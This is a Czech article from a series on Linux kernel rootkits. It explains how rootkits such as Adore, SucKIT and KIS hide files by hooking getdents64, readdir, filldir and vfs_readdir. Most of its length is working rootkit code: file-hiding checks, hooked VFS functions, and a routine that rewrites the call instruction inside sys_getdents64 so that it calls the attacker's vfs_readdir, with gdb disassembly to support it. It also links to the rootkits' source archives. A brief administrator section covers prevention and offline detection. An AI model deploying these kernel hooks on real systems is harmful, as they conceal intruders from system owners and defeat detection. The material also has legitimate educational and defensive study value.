Linuxovy rootkit: skrývání souborů V dnešním pokračování seriálu o linuxových rootkitech se zaměříme na techniky skrývání souborů. Oproti prvnímu dílu, kde jsem popisoval skrývání procesů, se zaměřím pouze na techniky, kterými měníme jádro systému. Opět nás čeká hookování systémových volání a hrátky s funkcemi VFS. V prvním díle, kde jsem popisoval skrývání procesů, jsme si již vysvětlili, jak se dá pomocí hookování systémového volání getdents64 skrýt soubor. Takže, abych zbytečně neopakoval už jednou napsané a aby nebyl tento díl příliš chudý, ukážeme si i více konkrétních příkladů a skusíme se na problém podívat i ze strany administrátora. Článek bude mít v podstatě dvě hlavní části. První je spíše přehledová, ta druhá už techničtější. Popíši v ní dvě techniky, jak lze skrýt soubor, bez hooknutí jediného systémového volání. Pro ty, kteří byli na konferenci UNIX/Linux security, to bude spíše opakování, ale vezmu to mnohem hlouběji, než na přednášce. #1 Rootkity využívající hookování syscallu getdents64 Skrytí souboru změnou systémového volání getdents64 jsme si ukázali již v díle o skrývání procesů. Ale vysvětlili jsme si "pouze" princip, skrýval se tam jen jeden konkrétní soubor. Tak bychom si to dnes mohli doplnit o nějaké další možnosti, jak určit, zda daný soubor skrýt nebo ne a ukázat konkrétní příklady na konkrétních rootkitech. Pokročilejší programátoři se možná budou lehce usmívat při čtení následujících několika odstavců. Ty jsou totiž určeny spíše pro "kernel hackery začátečníky", nebo pro ty, kterým se nechce příliš přemýšlet :) Nic si zbytečně nevymýšlejme a podívejme se, jak skrývání řeší různé rootkity? #1.1 Adore - skrývání souborů podle UID Tento rootkit samozřejmě používá popisované hookováni systémového volání getdents64, ale jakým způsobem určuje, co skrýt? Adore skrývá všechny soubory, které jejichž owner (vlastník) má UID rovno ELITE_UID, coz je první nepoužité UID >= 30. Toto UID si najde konfiguracni skript. Jakým způsobem toho dosáhne? Zjistí si superblok adresáře (struct super_block *sb), ze kterého se čte, a dirent (viz. linux/dirent.h) právě zpracovávaného souboru (jak jsme si říkali, hooknutá funkce prochází přečtenou adresářovou strukturu položku po položce a kontroluje, zda některá z nich odpovídá souboru, který je třeba skrýt). sys_getdents64 má jako první parametr deskriptor adresáře (unsigned int fd), ze kterého se čte. Z něj snadno získáme odpovídající strukturu file, která obsahuje spoustu potřebných informací: struct file f; f = fget(fd); superblok, který adore využívá i pro určení, zda jde o /proc (tedy jiný způsob, než jsme si popisovali), získáme takto: struct super_block *sb; sb = f->f_dentry->d_sb; UID daného souboru Adore získává ze struktury struct *inode (linux/fs.h), kterou získáme funkcí iget. Ta vyžaduje dva parametry a to právě superblock a číslo inode daného souboru. Konečně UID získáme takto: struct inode *inode; inode->i_uid; Je to malinko komplikovanější, proto si to ještě shrneme: - z deskriptoru souboru získáme strukturu file f = fget(fd); - zjistíme superblok adresáře sb = f->f_dentry->d_sb; - dentry aktuální položky známe - získáme strukturu inode, která odpovídá danému souboru inode = iget(sb, d->d_ino); - porovnáme UID souboru s UID skrytého uživatele is_hidden = inode->i_uid == ELITE_UID Tuto kontrolu dělá v Adore funkce is_secret, jejíž kód najdete v listingu 1. Stejný způsob využívá například i rootkit KIS, avšak místo UID používá GID, tedy identifikační číslo skupiny, pokud je definováno. Jinak používá seznam souborů. Listing 1. kód funkce, která určuje, zda daná soubor vlastní skrytý uživatel int is_secret(struct super_block *sb, struct dirent *d) { struct inode *inode; int ret; if (!sb || !d) return 0; if (strcmp(d->d_name, ".") == 0 || strcmp(d->d_name, "..") == 0) return 0; if ((inode = iget(sb, d->d_ino)) == NULL) return 0; /* Is it hidden ? */ ret = inode->i_uid == ELITE_UID; iput(inode); return ret; } #1.2 SucKIT - skrývání podle pre/suffixu Rozpoznávat soubory pro skrytí podle toho, jakou mají příponu je velmi jednoduchý, ale většinou dostačující způsob. Když chce útočník skrýt soubor, prostě jej přejmenuje. Jméno souboru známe (dirp->d_name.name), takže stačí jen zkontrolovat jeho příponu (nebo předponu). Implementace je samozřejmě triviální. /* Příklad funkce is_hidden ze SucKITu (upravena pouze pro účely skrývání souborů) */ int is_hidden(char *name) { int l = strlen(name); return ((l >= sizeof(HIDESTR)-1) && (!strcmp(h, &name[l-(sizeof(HIDESTR)-1)]))); } #1.3 skrývání souborů podle seznamu Využije-li rootkit tento přístup, může si jeho "uživatel" nadefinovat, které konkrétní soubory chce skrýt, nezávisle na jejich UID nebo název. Samozřejmě to není až tak uživatelsky příjemné, třeba při potřebě skrýt např. 100 různě rozmístěných souborů se útočník pěkně zapotí. To však v praxi téměř na 100% potřeba není.. Nejde o nic složitého, často postačí obyčejný lineární seznam struktur. Popisovat, jak se implementuje lineární seznam by byla skoro urážka čtenářů, proto si to raději odpustím. #2 Skrytí souboru hookováním VFS Už se dostáváme do druhé, o něco rozsáhlejší, části. Jak si ukážeme, útočník se může úplně vykašlat na systémová volání a přesto si ve vašem systému může dělat co se mu zlíbí. Již jsme si popisovali co je to VFS a co obsahuje struktura file_operations, takže můžeme směle začít se skrýváním souborů. Pro přečtení adresářové struktury (myšleno jako obsah adresáře, ne nějaká konkrétní programová struktura) slouží funkce, na kterou ukazuje readdir z file_operations. Parametr této funkce vypadá takto: int readdir(struct file *, void *, filldir_t); První parametr ukazuje na strukturu file, která nese informace o adresáři, ze kterého se čte. Druhý parametr ukazuje na paměť, do níž se přečtená data uloží. Poslední parametr určuje funkci filler, ke které se dostaneme později. Takže abychom skryli soubor, stačí systém donutit, aby místo této funkce zavolal naší připravenou funkci. K ukazateli na původní funkci se dostaneme snadno (část LKM jako ukázku najdete v listingu 2). listing 2. Jak se dostat k ukazateli na funkci readdir. #include ... void init_module() { struct file *f; f = flip_open("nazev.souboru", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) printk("<7>Ukazatel na funkci readdir: 0x%x\n", f->f_op->readdir); filp_close(f, NULL); } } Pokud útočník změní ukazatel tak, aby ukazoval na jeho upravenou funkci (jak je naznačeno ve výpisu 3), dokáže tak i skrýt soubor, který chce, a to bez změny jediného systémového volání. Tento přístup má nevýhodu v tom, že hook je platný pouze pro jeden konkrétní filesystém. V praxi to útočníkovi většinou postačí. Má své nástroje schované v jednom adresáři, který je samozřejmě umístěn v jednom filesystému. Ale existuje samozřejmě řešení, které funguje nezávisle na souborovém systému a také nešahá na původní funkci readdir, která je ve file_operations daného souboru. Tato technika se zaměřuje na funkci mezi systémovým voláním a funkcí, na níž ukazuje ukazatel ze struktury file_operations. Hook se tedy provede ještě před rozhodnutím, jaká konkrétní funkce se bude vzhledem k danému filesystému volat. K tomu se však dostaneme o chvilku později. Teď se pojďme se ale na situaci podívat od začátku. Uživatel zavolá příkaz ls. Co bude následovat? Program ls použije systémové volání getdents64. Toto volání pro zjištění adresářové struktury zavolá funkci vfs_readdir. Prototyp této funkce vypadá nějak takto: int vfs_readdir(struct file *file, filldir_t filler, void *buf); Pokud bychom se podívali do souboru /fs/readdir.c, zjistíme, že mezi hromadou kontrol tato funkce obsahuje i následující řádek: res = file->f_op->readdir(file, buf, filler); Tedy volá funkci, na kterou ukazuje ukazatel readdir ve struktuře file_operations příslušného souboru. Všimněme si parametrů. První je struktura popisující daný soubor (v tomto případě adresář, ale v UNIX-like systémech mezi adresářem a souborem v podstatě není rozdíl -- vše je totiž soubor). Druhým parametrem se předávají přečtená data a poslední parametr ukazuje na funkci filldir. Ta se, volá pro každý soubor zvlášť, zjišťuje informace o daném souboru a ukládá je na příslušná místa. Důležité pro nás je to, že pokud tato funkce neprovede nic a přitom se bude tvářit tak, jako by vše v pořádku provedla, o daném souboru dále nebude ani zmíňka. To znamená, že pokud dokážeme hooknout tuto funkci, dokážeme skrýt jakýkoli soubor. Pojďme se podívat, jak tato funkce vypadá, a jaké jsou její parametry: static int filldir(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) Nejdůležitější pro nás budou parametry name, namlen, případně buf. Name obsahuje ukazatel na název souboru. Pozor, není to však klasický řetězec ukončený znakem '\0'. Délku řetězce určuje parametr namlen. Pomocí ((struct getdents_callback *)buf)->current_dir získáme strukturu dirent, která obsahuje například inode nebo název souboru. Takže vše, co je pro skrytí souboru udělat, je hooknout tuto funkci. K tomu je ale třeba hooknout funkci readdir. Její změna však bude triviální. Postačí uložit původní parametr filler pro pozdější využití a zavolat původní readdir, které jako parametr předáme novou funkci filler. Hooknutou readdir najdete na výpisu 3. Výpis 3. hooknutá funkce readdir int new_readdir (struct file *a, void *b, filldir_t c) { real_filldir = c; return old_readdir_root (a, b, new_filldir_root); } Hooknout funkci readdir je také velmi snadné (tedy pokud nám nevadí použít LKM). Už jsme si ukázali, jak najít adresu původní readdir, takže pro hooknutí ji stačí uložit a přepsat adresou naší upravené funkce. Celý proces vidíme na výpise 4. Výpis 4. Hooknutí funkce readdir struct file *f; f = filp_open("/etc/passwd", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) { /* uložíme si původní funkci... */ old_readdir = f->f_op->readdir; /* ... a nahradíme ji adresou nové funkce */ f->f_op->readdir = new_readdir; } filp_close(f, NULL); } A poslední věc, kterou jsme prozatím opoměli, je hooknutí funkce filldir. Jak jsem možná psal, ani toto není nic složitého. Právě naopak, je to velmi prosté. Pokud zjistíme, že aktuálně zpracovávaný soubor chceme skrýt, prostě vrátíme 0. Nic víc. Pokud soubor nemáme zájem skrýt, zavoláme původní funkci. Jak snadné. Příklad vidíme na výpise 5. filldir v příkladě skryje všechny soubory nebo adresáře s koncovkou názvem ".hidden", které leží ve stejném souborovém systému jako /etc/passwd (pokud pro hooknutí využijeme příklad z výpisu 4). Výpis 5. hooknutá funkce filldir, která skryje všechny soubory končící na .hidden. static int new_filldir_root(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { #define HIDESTR ".hidden" char buf[256] = {0}; memcpy(buf, name, namlen); if ((namlen >= sizeof(HIDESTR)-1) && (!strcmp(HIDESTR, &buf[namlen-(sizeof(HIDESTR)-1)]))) return 0; return real_filler(__buf, name, namlen, offset, ino, d_type); } Tato technika je snadná, použitelná, ale není to pořád ono. Šlo by to udělat univerzálněji. Žádná elitní hacker se nespokojí s polovičním řešením. Tak se pojďmě podívat, jak by to šlo jinak. Neříkám, že je to nějak zvlášť "čistý" způsob (spíše naopak), ale je to univerzálnější. #2.1 Řešení nezávislé na souborových systémech Když si vzpomeneme, co se vše děje při spuštění programu ls, vidíme, že se nejdříve volá getdents64, pak vfs_readdir a pak readdir ze struktury file_operations daného souboru. Tato funkce potom volá funkci filler, kterou dostane jako parametr (tedy ukazatel na ni). Dříve jsme používali upravenou funkci readdir, ve které jsme pouze zavolali původní, ale s jiným parametrem filler. Nabízí se myšlenka, že bychom volali pouze původní readdir už se změněným parametrem. Pak by se vždy volala funkce, kterou vyžaduje daný filesystém. Jak jsme viděli, readdir ze struktury file_operations daného souboru je volána ve funkci vfs_readdir. Co kdybysme tuto funkci využili k předání falešné adresy funkce filler? Už tato funkce dostává jako parametr ukazatel na filler. To nám situaci velmi zjednodušší. Stačí tedy vfs_readdir hooknout stejným způsobem, jako jsme dříve hookovali readdir. Pouze změníme parametr filler (předtím si jej uložíme pro pozdější využití) a zavoláme původní vfs_readdir. Už ta bude mít falešný parametr, který samozřejmě předá dál a to je právě to, co potřebujeme. Ale tady celá zábava teprve začíná! Trochu si shrňme, co je potřeba provést: - donutit getdents64, aby používal upravenou vfs_readdir, namísto té původní - připravit si upravenou vfs_readdir - připravit si upravenou funkci filldir Jde o takový dvojnásobný hook. Celá věc bude snadná až na první bod. To bude nejnáročnější věc celé akce. #2.2 Hooknutí vfs_readdir K hooknutí vfs_readdir si připravíme nůžky, lepidlo, debugger a zdrojové kódy jádra. Teď můžeme přistoupit k samotné pitvě jádra. Nejříve se podívejme, jak vypadá funkce sys_getdents64 (najdeme ji v souboru fs/readdir.c, ve zdrojových kódech jádra). Vidíme ve výpisu 6. Výpis 6. Zdrojový kód sys_getdents64 asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, unsigned int count) { struct file * file; struct linux_dirent64 __user * lastdirent; struct getdents_callback64 buf; int error; error = -EFAULT; if (!access_ok(VERIFY_WRITE, dirent, count)) goto out; error = -EBADF; file = fget(fd); if (!file) goto out; buf.current_dir = dirent; buf.previous = NULL; buf.count = count; buf.error = 0; error = vfs_readdir(file, filldir64, &buf); if (error < 0) goto out_putf; error = buf.error; lastdirent = buf.previous; if (lastdirent) { typeof(lastdirent->d_off) d_off = file->f_pos; __put_user(d_off, &lastdirent->d_off); error = count - buf.count; } out_putf: fput(file); out: return error; } Zhruba uprostřed vidíme volání funkce vfs_readdir. Musíme se zaměřit na to, ja bychom ji našli. Adresu sys_getdents64 zjistíme snadno, je to adresa asi na 220té pozici v tabulce systémových volání. Ve zdrojácích vidíme, že vfs_readdir je 2 až 3 volaná funkce (z hlavy nevíme, zda access_ok je funkce nebo makro, ale to nas stejně příliš nezajímá). Podívejme se v debuggeru, jak to vypadá doopravdy (vidíme na výpise 7). % cd /usr/src/linux % gdb vmlinux GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)... (gdb) disas sys_getdents64 Dump of assembler code for function sys_getdents64: 0xc0168b60 : sub $0x2c,%esp 0xc0168b63 : mov $0xffffe000,%eax 0xc0168b68 : mov %ebx,0x1c(%esp,1) 0xc0168b6c : mov 0x34(%esp,1),%ebx 0xc0168b70 : mov %edi,0x24(%esp,1) 0xc0168b74 : mov $0xfffffff2,%edi 0xc0168b79 : mov %ebx,%edx 0xc0168b7b : mov %ebp,0x28(%esp,1) 0xc0168b7f : mov 0x38(%esp,1),%ebp 0xc0168b83 : and %esp,%eax 0xc0168b85 : mov %esi,0x20(%esp,1) 0xc0168b89 : add %ebp,%edx 0xc0168b8b : sbb %ecx,%ecx 0xc0168b8d : cmp %edx,0x18(%eax) 0xc0168b90 : sbb $0x0,%ecx 0xc0168b93 : test %ecx,%ecx 0xc0168b95 : jne 0xc0168c0d 0xc0168b97 : mov 0x30(%esp,1),%eax 0xc0168b9b : mov $0xfffffff7,%edi 0xc0168ba0 : call 0xc0156180 0xc0168ba5 : test %eax,%eax 0xc0168ba7 : mov %eax,%esi 0xc0168ba9 : je 0xc0168c0d 0xc0168bab : mov %ebx,0xc(%esp,1) 0xc0168baf : lea 0xc(%esp,1),%eax 0xc0168bb3 : movl $0x0,0x10(%esp,1) 0xc0168bbb : mov %ebp,0x14(%esp,1) 0xc0168bbf : movl $0x0,0x18(%esp,1) 0xc0168bc7 : mov %eax,0x8(%esp,1) 0xc0168bcb : movl $0xc0168a10,0x4(%esp,1) 0xc0168bd3 : mov %esi,(%esp,1) 0xc0168bd6 : call 0xc0168610 0xc0168bdb : test %eax,%eax 0xc0168bdd : mov %eax,%edi 0xc0168bdf : js 0xc0168c06 0xc0168ba7 : mov %eax,%esi Vidíme, že první instrukce call, je volání fget a druhá call je 118 bajtů od začátku sys_getdents64 a je to právě volání vfs_readdir. Co přesně je na této pozici uloženo? (gdb) x sys_getdents64+118 0xc0168bd6 : 0xfffa35e8 Vidíme že word ležící na této pozici má hodnotu 0xfffa35e8. Protože jde o little-endian architekturu, bajty jsou v paměti opačně. Ve skutečnosti tam jsou asi takto: (gdb) x/5b sys_getdents64+118 0xc0168bd6 : 0xe8 0x35 0xfa 0xff 0xff Pohlem do intelovské dokumentace (odkaz na ni najdete někde v tomto článku) zjistíme, že 0xe8 je operační kód instrukce call a za ním následuje 4bajtová relativní adresa. Relativní adresa je tedy 0xfffffa35. Absolutní adresa volané funkce je součet tohoto parametru s adresou následující instrukce. Tak... víme, kde se vfs_readdir volá a jak volání vypadá. Potřebujeme ale toto volání spolehlivě najít i na různých jádrech. Tady využijeme toho, že absolutní adresu vfs_readdir známe (pokud tedy používáme LKM). Takže algoritmus vyhledání správné instrukce bude vypadat asi takto: - najdeme adresu počátku sys_getdents64 - načteme si dostatečně velký kus kódu této funkce (150 bajtů by mělo stačit) - v paměti vyhledáváme volání call (tedy znak 0xe8) - u každého volání si parametr přepočítáme na absolutní adresu - absolutní adresu porovnáme s adresou vfs_readdir To by mělo spolehlivě najít potřebnou instrukci call. Co ale s tím? O tom se se sice nejspíš nezmínil, ale předpokládám, že to bystřejším čtenářům už dávno došlo. Absolutní adresu naší upravené funkce si přepočítáme na relativní vzhledem k následující instrukci a přepíšeme jí 4 bajty za instrukcí call (tedy za jejím operačním kódem). Tím dosáhneme toho, že getdents64 zavolá přímo naší upravenou vfs_readdir. Ukázku vyhledávací funkce vidíme ve výpisu 8. Výpis 8. funkce pro vyhledání správného volání v sys_getdents64 /* první parametr je adresa systémového volání getdents64, * přes druhý parametr location funkce vrací adresu, kde se relativní adresa nachází * přes poslední parametr orig funcke vrací původní parametr funkc call * * funkce vrací proměnnou addr_add, což je to, co se musí přičíst k relativní adrese, * abychom dostali absolutní. Jinými slovy * paremetr instrukce call = absolutní adresa - addr_add */ unsigned get_vfs_readdir(unsigned int syscalladdr, unsigned int *location, unsigned int *orig) { #define BUFFLEN 170; char buf[BUFFLEN], *p; unsigned int addr = syscalladdr; unsigned vr_addr, offset = -1; unsigned int addr_add; /* call instruction */ char pattern[] = "\xe8"; int patlen = 1; int addr_inc = 1; if (addr == 0) return 0; memcpy(buf, (void *)addr, BUFFLEN); do { p = (char*)memmem(buf + offset + 1, BUFFLEN, pattern, patlen); offset = (unsigned)p - (unsigned)buf; addr = syscalladdr + offset + addr_inc; *location = addr; memcpy(&vr_addr, (void *)addr, sizeof(vr_addr)); *orig = vr_addr; } while ((unsigned)(addr + 4 + vr_addr) != (unsigned)vfs_readdir && p != NULL); if (p == NULL) return 0; addr_add = addr + 4; /* address of vfs_readdir is vr_addr+addr_add */ return addr_add; } Pokud dokážeme hooknout vfs_readdir, zbytek je už opět rutina. Jak bude vypadat upravená vfs_readdir jsem už popisoval, konkrétně to vidíme na výpisu 9. Výpis 9. upravená funkce vfs_readdir int new_vfs_readdir(struct file *file, filldir_t filler, void *buf) { /* uložíme původní filler -- real_filler je globální proměnná * typu filldir_t */ real_filler = filler; /* a zavoláme původní filldir, předáme mu ovšem new_filldir, * což je naše upravená funkce */ return vfs_readdir(file, new_filldir, buf); } A nakonec zbyla úprava filldir, která je stejná jako jinde. Takže bez problému můžeme použít filldir z výpisu 5. Když se na to tak celkově podívám, nevidím v tom nic extra složitého. Zatím se tyto techniky nejspíše moc nepoužívají, nebo pokud ano, je vidět, že se moc nápadně neprojevují. V tom je právě jejich největší nebezpečí. Nevím ani o žádném automatickém nástroji, který by dokázal odhalit podobnou úpravu systému za běhu. #3 Z pohledu administrátora... ... je proto nejdůležitější prevence (aktuální software, security patche, ..), protože pokud se útočník dostane do systému a změní jej na úrovni VFS, nebude opravdu snadné (ne-li dokonce možné) si jej za běhu systému všimnout. Pokud samozřejmě nabootujete jiné jádro, vše by mělo být v pořádku. Alespoň pokud útočník nemá zajištěno automatické instalování jeho rootkitu při startu systému. Namountováním a prohlížením daného disku v jiném systému se už spolehlivě dostaneme mimo dosah moci rootkitu. I takovýto rootkit jde odhalit nepřímo a to třeba hledáním skrytých procesů nebo skrytých modulů v jádře. Možná že v některém v příštích dílů si popíšeme obecný a celkem spolehlivý způsob jak přímo v /dev/kmem najít všechny běžící procesy nebo připojené moduly. Příště Co bude příště dnes ani raději nebudu odhadovat. Již od prvního dílu slibuji backdoory, ale zatím se na ně nějakou zvláštní shodou okolností nedostalo :) Takže co bude příště? Nechte se překvapit... V síťi Intel architecture: software developer's manual - www.hysteria.sk/~trace/intel Detekce kernelových rootkitů - www.hysteria.sk/prielom/22/#2 Časopis Phrack - www.phrack.org Rootkit Adore - packetstormsecurity.nl/groups/teso/adore-0.14.tar.gz Rootkiy KIS - packetstormsecurity.org/UNIX/penetration/rootkits/kis-0.9.tar.gz Rootkit SucKIT 1.3a - packetstormsecurity.org/UNIX/penetration/rootkits/sk-1.3a.tar.gz Jiří Hýsek